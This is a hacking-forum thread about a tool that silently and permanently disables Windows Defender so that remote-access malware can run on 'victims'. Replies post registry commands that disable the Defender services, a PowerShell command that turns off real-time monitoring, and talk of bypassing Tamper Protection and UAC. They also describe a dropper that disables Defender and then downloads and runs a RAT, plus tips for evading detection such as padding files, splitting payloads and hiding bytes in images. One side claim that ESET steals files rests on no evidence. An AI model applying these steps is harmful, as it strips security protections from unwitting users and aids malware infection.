NYANxCAT - April 27, 2019, 4:33 am

(Apr 27, 2019 04:18 AM)crypt4u Wrote: [\[CITE\]](#) whith reading your registry i know it will enable itself again

as you forget disable the service itself from group policy

add this line and it will not enable itself on restart

```
Code reg add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t "REG_DWORD" /d
"4" /f
```

```
reg add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t "REG_DWORD" /d
"4" /f
```

```
reg add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t "REG_DWORD" /d
"4" /f
```

Why are you changing the subject over and over again? I'm just asking you to run my code to check if wd will re-enable itself or not.

CyberStrike - April 27, 2019, 5:40 am

(Apr 27, 2019 03:34 AM)Viotto01 Wrote: [\[CITE\]](#) Yes, I proved that myself with ESET, specifically. ESET steals your files, even with all the privacy settings properly set.

Did you write an article or publish the research? I honestly specifically remember reading that a few of them were caught doing it. But anything about it is gone just gone from twitter/blogs everywhere gone. Link me the thread or article please. Thank you.

Viotto01 - April 27, 2019, 6:11 am

(Apr 27, 2019 05:40 AM)CyberStrike Wrote: [\[CITE\]](#) Did you write an article or publish the research? I honestly specifically remember reading that a few of them were caught doing it. But anything about it is gone just gone from twitter/blogs everywhere gone. Link me the thread or article please. Thank you.

No, I did not publish it.

I discovered it by accident.

I had ESET installed on one of my development machines (with sample submission disabled and so on).

I deployed there a new version of # and a few other files, for some penetration testing activity which should have remained internal to my lab.

Those files were all undetected by ESET.

After a couple of days, all those files where signed by ESET with very specific signatures (Win32/Backdoor.# etc.)

There is only one possible explanation about this: they stole all my files.

They steal users files, to provide an unfair advantage to their business, completely betraying users privacy.

I wrote them about this: got no reply.

I guess they were too busy trying to hide their dirt under the carpet.

:~)

CyberStrike - April 27, 2019, 6:26 am

(Apr 27, 2019 06:11 AM)Viotto01 Wrote: [\[CITE\]](#) No, I did not publish it.

I discovered it by accident.

I had ESET installed on one of my development machines (with sample submission disabled and so on).

I deployed there a new version of # and a few other files, for some penetration testing activity which should have remained internal to my lab.

Those files were all undetected by ESET.

After a couple of days, all those files where signed by ESET with very specific signatures (Win32/Backdoor.# etc.)

There is only one possible explanation about this: they stole all my files.

They steal users files, to provide an unfair advantage to their business, completely betraying users privacy.

I wrote them about this: got no reply.

I guess they were too busy trying to hide their dirt under the carpet.

:~)

hmm do you run wireshark/tshark or snort (or an IDS/NIDS) If so the pcaps would prove it perhaps my next weekend I will try to do some testing.

Viotto01 - April 27, 2019, 6:27 am

(Apr 27, 2019 06:26 AM)CyberStrike Wrote: [\[CITE\]](#) hmm do you run wireshark/tshark or snort (or an IDS/NIDS) If so the pcaps would prove it perhaps my next weekend I will try to do some testing.

I didn't, I don't know if their traffic is encrypted, it probably is.

Would be interesting to have a deeper look though ;)

Nosfir - April 27, 2019, 6:42 am

Windows defender did re-enable itself (as a matter of fact it didn't even turn off..(

NYANxCAT - April 27, 2019, 6:50 am

(Apr 27, 2019 06:42 AM)Nosfir Wrote: [\[CITE\]](#) Windows defender did re-enable itself (as a matter of fact it didn't even turn off..)

Did you run it as administrator?

Nosfir - April 27, 2019, 7:23 am

(Apr 27, 2019 06:50 AM)??` NYAN CAT `?` Wrote: [\[CITE\]](#) Did you run it as administrator?

No... as you said originally it wouldn't be needed.

NYANxCAT - April 27, 2019, 7:33 am

(Apr 27, 2019 07:23 AM)Nosfir Wrote: [\[CITE\]](#) No... as you said originally it wouldn't be needed. Lol ok.

QU?CKSILVER - April 27, 2019, 9:14 pm

(Apr 27, 2019 06:26 AM)CyberStrike Wrote: [\[CITE\]](#) hmm do you run wireshark/tshark or snort (or an IDS/NIDS) If so the pcaps would prove it perhaps my next weekend I will try to do some testing.

I guess the connection to antivirus servers is indeed encrypted, but you don't need to analyze packets to determine if your computer is sending data to them.

Just monitor the amount of bytes sent by all the processes related to ESET while having sample submission off. If you see a considerable amount of data being sent, then they are clearly submitting stuff without you even knowing it.

It can be done with Procmon or process hacker, or even TCP View.

CyberStrike - April 28, 2019, 5:52 am

(Apr 27, 2019 09:14 PM)QU?CKSILVER Wrote: [\[CITE\]](#) I guess the connection to antivirus servers is indeed encrypted, but you don't need to analyze packets to determine if your computer is sending data to them.

Just monitor the amount of bytes sent by all the processes related to ESET while having sample submission off. If you see a considerable amount of data being sent, then they are clearly submitting stuff without you even knowing it.

It can be done with Procmon or process hacker, or even TCP View.

I think that my next weekend I will do some testing, I am pretty familiar with sysinternals

Psychedelic. - April 28, 2019, 8:27 am

Damn. Looking through your posts, everything you've shared is super high quality. Keep up the great work.

QU?CKSILVER - April 29, 2019, 11:14 am

So, I just got my hands on Windows 10 1903 Redstone 6, and found out that disabling Windows Defender using

Code Set-MpPreference -DisableRealtimeMonitoring \$true

No longer works if "Tamper Protection" Feature is enabled. I manually turned off Tamper Protection to verify, and Powershell was then able to successfully switch Real Time Protection OFF, and showed notification. Windows Defender re-enables itself after reboot, though. The registry solution does not work either. However, the rest of the components could be disabled with Tamper Protection ON, all silently without any issues.

TL;DR Tamper Protection was introduced in Redstone 6, which will prevent third party programs from touching the settings.

The following Registry key determines whether the feature is enabled or disabled:
Code HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features
0: Tamper Protection is disabled.
1: Tamper Protection is enabled.

Source :

<https://www.ghacks.net/2018/12/19/windows-10-1903-windows-defender-antivirus-gets-tamper-protection-feature/>

NYANxCAT - April 29, 2019, 2:52 pm

(Apr 29, 2019 11:14 AM)QU?CKSILVER Wrote: [\[CITE\]](#) So, I just got my hands on Windows 10 1903 Redstone 6, and found out that disabling Windows Defender using

Code Set-MpPreference -DisableRealtimeMonitoring \$true

No longer works if "Tamper Protection" Feature is enabled. I manually turned off Tamper Protection to verify, and Powershell was then able to successfully switch Real Time Protection OFF, and showed notification. Windows Defender re-enables itself after reboot, though. The registry solution does not work either. However, the rest of the components could be disabled with Tamper Protection ON, all silently without any issues.

TL;DR Tamper Protection was introduced in Redstone 6, which will prevent third party programs from touching the settings.

The following Registry key determines whether the feature is enabled or disabled:
Code HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features
0: Tamper Protection is disabled.
1: Tamper Protection is enabled.

Source :

<https://www.ghacks.net/2018/12/19/windows-10-1903-windows-defender-antivirus-gets-tamper-protection-feature/>

Great feedback I will check it out soon. ?

learner319 - May 3, 2019, 6:17 am

Great Script ! With a great tutorial .Thank so much brother .I love it.

Precisio? - May 12, 2019, 1:46 am

(Apr 24, 2019 07:52 AM)??` NYAN CAT ?? Wrote: [\[CITE\]](#) You are right it would be none sense. But net4.8 is still preview and not official so we have to wait.

Is it officially released? So what do you think about it?

gauss1998 - May 12, 2019, 1:55 am

(Apr 23, 2019 02:54 PM)MagicianMan32 Wrote: [\[CITE\]](#) The odd thing happens because windows defender varies according to windows version

for example the protection layers in windows 10 19 aren't like those in windows 10 15

so It depends on whether the victims country has got the upgrade or not yet

It's better practice to download the latest version of windows to test windows defender and not use just any version , as I have fall in this mistake myself

for the cloud thing you can pump your file to something like 200 Megabytes , but when you zip it , it gets shrinked to its original size , thus preventing the cloud scanner from uploading it

also splitting your file into two modules , a dll and an exe that invokes it will do , as the cloud will upload the exe which only has Class1.main on it

also hosting you RAT bytes online or in a database or embedding them inside a picture and drop it

beside your dll and exe is good idea

I've read an article about a guy using entropy analysis (statistics and mathematics and shit) to detect the entry point of packed exes , of course I didn't understand shit except that the guy had a success rate of 85% doing so which made me scream what the hell

so they can detect if I'm having another exe hidden inside my exe even if it's encrypted !

anyways in a nutshell

pump your exe

split it into dll and exe

hide your bytes somewhere else from your main exe

Basic Information Theory, you can use entropy to detect packed file. Read the article again, you have no idea what you are talking about.

NYANxCAT - May 12, 2019, 4:33 am

(May 12, 2019 01:46 AM)Precisio? Wrote: [\[CITE\]](#) Is it officially released? So what do you think about it?

Nope, it's not an official release yet. It's just a preview. But 4.8 is coming soon.

Fr33d0m - May 12, 2019, 2:43 pm

Very nice find the community thanks you pretty simple but effective ? ? ?

MagicianMan32 - May 12, 2019, 3:35 pm

(May 12, 2019 01:55 AM)gauss1998 Wrote: [\[CITE\]](#) Basic Information Theory, you can use entropy to detect packed file. Read the article again, you have no idea what you are talking about.I quote myself

"I've read an article about a guy using entropy analysis (statistics and mathematics and shit) to detect the entry point of packed exes , of course I didn't understand shit except that the guy had a success rate of 85% doing so which made me scream what the hell

so they can detect if I'm having another exe hidden inside my exe even if it's encrypted ! "

I did say that I didn't understand what I read because I didn't study information theory yet ,I only had a shallow introduction to it, shannon's entropy and transferring data through pipes , just a couple of laws and equation that I memorized, vomited into the exam paper then forgot them.

however what I meant to say that it's possible to detect packed files (files inside files) using static techniques like entropy analysis,

and possibly your malware will get flagged by the Antivirus (most packed files do) If you just stuffed your Evil bytes in , even If they're encrypted so don't do so ! (The AV can know that you have something hidden there)

for example , If a file contained the MZ signature bytes , "4D5A" gets it detected by Avira as Troj dropped (if you used the byte to hex string method)

upload your evil bytes to some server or insert them into a picture or zip them with password and unzip them in memory during runtime

these are the names of the articles I looked at

Generic Unpacking using Entropy Analysis

Using Entropy Analysis to Find Encrypted and Packed Malware

Entropy Analysis – Identifying packed binaries, and finding the Original Entry Point

If possible, make a thread and explain them to us

gerwin888 - May 30, 2019, 11:31 am

How do I put this in my QuasarRat?

RHKD - May 30, 2019, 7:49 pm

is there anyway to bypass the UAC ?

gerwin888 - May 31, 2019, 8:35 am

(May 30, 2019 11:31 AM)gerwin888 Wrote: [\[CITE\]](#) How do I put this in my QuasarRat?

__Digital__ - May 31, 2019, 8:53 am

The best thing you could do is not add it to the rat but create a small clean application which would run the commands then download execute your tool.

gerwin888 - May 31, 2019, 9:31 am

(May 31, 2019 08:53 AM)__Digital__ Wrote: [\[CITE\]](#) The best thing you could do is not add it to the rat but create a small clean application which would run the commands then download execute your tool.I am not a coder, is there a way for me to do this?

Fr33d0m - May 31, 2019, 6:09 pm

Great project as always I will always trust and love your projects

kim090802 - June 3, 2019, 2:11 pm

Is there a way to reenable windows defender after this? if so how, cause i accidently ran it on my own pc, and i got fucked. XD

I pretty much edited it a little and I think It's disabled, but not sure, when I scan malicious files it says its clean and lets me run it but it says everything is on in windows defender, help XD

ping010101 - June 4, 2019, 9:41 am

(Jun 3, 2019 02:11 PM)kim090802 Wrote: [\[CITE\]](#) Is there a way to reenable windows defender after this? if so how, cause i accidently ran it on my own pc, and i got fucked. XD

I pretty much edited it a little and I think It's disabled, but not sure, when I scan malicious files it says its clean and lets me run it but it says everything is on in windows defender, help XD
GO BACK AND READ THE COMMENTS

komandirbk - September 19, 2019, 4:42 pm

(May 12, 2019 04:33 AM)??` NYAN CAT ?? Wrote: [\[CITE\]](#) Nope, it's not an official release yet. It's just a preview. But 4.8 is coming soon.
bro, can you send me a link to pm to exe file please?

tiny cracker - September 19, 2019, 9:31 pm

(Apr 23, 2019 03:47 AM)??` NYAN CAT ?? Wrote: [\[CITE\]](#)
I saw many members complaining about WD detection and yes, WD is very aggressive and stupid.

This method will permanently disable wd + wd samples submission without PC reboot or notification (immediate effect)

I wrote it using C# but you can convert it to any language.

Video

[Video: <https://www.youtube.com/watch?v=8T0ySZdOu4k>]

github.com/NYAN-x-CAT/Disable-Windows-Defender

Ph3n0mz - September 21, 2019, 10:39 am

Yurizon - September 22, 2019, 2:50 am

botartone Pinatanai - *October 10, 2019, 12:26 am*

000000000000000000000000000000000000000000000000000

Stanley - February 29, 2020, 12:55 am

If you haven't already read the first post of this thread we encourage you to do so.

Thanks,
Stanley

DedKiller021 - March 3, 2020, 10:49 am

Where can i install this?

Hisense1 - March 3, 2020, 2:00 pm

I need this file, anybody help me out

intotheblues123 - October 1, 2020, 2:35 am

Bro does your crypter has this feature?

H4x10r - October 10, 2020, 10:59 am

Every person that sets defender to no submit and tries to proxy his traffic with burpsuite proxy will see that there are sure submits like the hash of the exe you are executing and stuff damn ppl you didnt know that ? what a mess

observe the observer ! check out the communication , helps a lot to understand !

Elijah - October 10, 2020, 12:06 pm

Nyan will this show annoying msg which ask user to turn on defender?

DI?E - October 10, 2020, 3:12 pm

Nice share. Just saw this.

AccifyStore - October 11, 2020, 11:24 am

Still working now because windows disabled registry editor and stuff?

ACCOUNT - October 11, 2020, 12:20 pm

(Oct 11, 2020 11:24 AM)Marihuana420 Wrote: [\[CITE\]](#) Still working now because windows disabled registry editor and stuff?

I just briefly looked over the code but it can be easily done using powershell. The trick is to have powershell run as admin which can be done within powershell xD

You can find most of these tricks here:

here are some "starters"

Code PowerShell.exe -ExecutionPolicy Bypass &..... :)

<https://www.tenforums.com/tutorials/3569-turn-off-real-time-protection-microsoft-defender-antivirus.html>

tksoficialbrasil2020 - October 30, 2020, 2:23 pm

Excellent work dude. Nice Sharing

Mark2022 - October 30, 2020, 5:13 pm

thanks for the share,

there are very few users who share free stuff.

Edge of Nowhere - October 31, 2020, 5:14 pm

(Apr 23, 2019 03:47 AM)NYANxCAT Wrote: [\[CITE\]](#)

I saw many members complaining about WD detection and yes, WD is very aggressive and stupid.

This method will permanently disable wd + wd samples submission without PC reboot or notification (immediate effect)

I wrote it using C# but you can convert it to any language.

Video

[Video: <https://www.youtube.com/watch?v=8T0ySZdOu4k>]

Download

github.com/NYAN-x-CAT/Disable-Windows-Defender

Good work.

Kind of reminds me of a tool I had made in the past (

<https://www.youtube.com/watch?v=Rh85mF92mUo> After 1 minute it gets really interesting).

Elijah - November 1, 2020, 3:32 pm

Hey Nyan, Can this disable Newest WD with anti-temper on?

Thanks for the share.

h0tsh0t - November 1, 2020, 11:32 pm

it would be a worthy xmas gift if you could add this to